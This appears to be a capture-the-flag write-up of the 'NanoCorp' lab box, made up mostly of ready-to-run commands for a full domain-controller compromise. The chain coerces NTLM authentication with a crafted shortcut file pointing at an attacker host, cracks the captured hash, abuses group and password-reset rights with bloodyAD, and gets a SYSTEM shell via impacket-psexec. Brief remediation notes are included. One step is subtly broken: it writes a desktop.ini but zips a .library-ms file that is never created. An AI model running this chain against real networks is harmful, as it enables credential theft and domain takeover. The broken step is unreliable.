NanoCorp
Summary
I abused a careers-portal file upload on the NanoCorp domain controller to force it to authenticate over SMB to my own host by uploading a crafted .library-ms shortcut file (CVE-2025-24071), capturing and cracking the web_svc service account's NetNTLMv2 hash. BloodHound enumeration of the domain revealed that web_svc could add itself to the IT_Support group, which in turn held ForceChangePassword rights over a second, more privileged service account, monitoring_svc.
I walked this access-control chain to reset monitoring_svc's password, authenticated over WinRM to confirm access and capture user.txt, then discovered monitoring_svc held local administrator rights on the domain controller itself. That local admin equivalence was used with an Impacket PsExec-style attack over the ADMIN$ share and the Service Control Manager to obtain a SYSTEM shell and capture root.txt — full domain controller compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <the-careers-upload-endpoint>, <the-upload-field>, <web_svc_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve the domain and DC hostname locally.
$ echo "$TARGET nanocorp.htb dc01.nanocorp.htb" | sudo tee -a /etc/hostsConfirm AD/Kerberos/LDAP/SMB/WinRM services and the web port.
$ nmap -p- -sC -sV -oA nanocorp $TARGETFingerprint the web stack and locate the careers/upload page.
$ curl -sS -i --max-time 15 http://$TARGET/ -H 'Host: nanocorp.htb'Exact commands 4
Alternative: impacket-smbserver share ./share_dir -smb2support. Captures the inbound NTLM auth.
$ sudo responder -I tun0Craft the .library-ms with simpleLocation/iconReference UNC paths pointing at your listener, then zip it.
$ printf "[.ShellClassInfo]\r\nIconResource=\\\\$ATTACKER_IP\\share\\icon.ico\r\n" > desktop.ini && zip Resume.library-ms.zip Resume.library-msPost the archive to the careers portal's own upload form; the field name and endpoint are the ones that page uses.
$ curl -sS -F '<the-upload-field>=@Resume.library-ms.zip' http://nanocorp.htb/<the-careers-upload-endpoint>Crack the captured NetNTLMv2 hash offline to recover web_svc's password.
$ hashcat -m 5600 -a0 web_svc.ntlmv2 /usr/share/wordlists/rockyou.txtFixPatch and mitigate the Windows Library file NTLM-coercion vulnerabilityCritical
Exact commands 2
Collect the domain graph as web_svc.
$ bloodhound-python -c all -u web_svc -p '<web_svc_password>' -d nanocorp.htb -ns $TARGET --zipAlternative collector via NetExec.
$ nxc ldap $TARGET -u web_svc -p '<web_svc_password>' --bloodhound -c AllFixRemove the web application service account's self-add rights over the IT_Support groupHigh
Exact commands 2
Add web_svc to IT_Support using its self-membership right.
$ bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u web_svc -p '<web_svc_password>' add groupMember IT_Support web_svcRe-authenticate first so the new group membership is reflected, then reset monitoring_svc's password via the inherited ForceChangePassword right.
$ bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u web_svc -p '<web_svc_password>' set password monitoring_svc "$PASSWORD2"FixRemove IT_Support's ForceChangePassword right over the monitoring_svc service accountHigh
Exact commands 3
Connect over WinRM (port 5986/HTTPS) as monitoring_svc.
$ evil-winrm -S -P 5986 -u monitoring_svc -p "$PASSWORD2" -i dc01.nanocorp.htbConfirm the authenticated identity from the target shell.
$ whoami
NANOCORP\monitoring_svcRead the user flag; replace the captured value with <user.txt> when reporting.
$ type C:\Users\monitoring_svc\Desktop\user.txtExact commands 3
Uploads a service binary to ADMIN$ and executes it via SVCManager, yielding a SYSTEM shell.
$ impacket-psexec nanocorp.htb/monitoring_svc:"$PASSWORD2"@$TARGETProve escalation — expect 'nt authority\system'.
$ whoamiRead the root flag; replace the captured value with <root.txt> when reporting.
$ type C:\Users\Administrator\Desktop\root.txtFixRemove monitoring_svc's unnecessary local administrator rights on the domain controllerCritical
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5986/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 64740/tcp | unknown recon-sweep-discovered |
| 64745/tcp | unknown recon-sweep-discovered |
| 64769/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |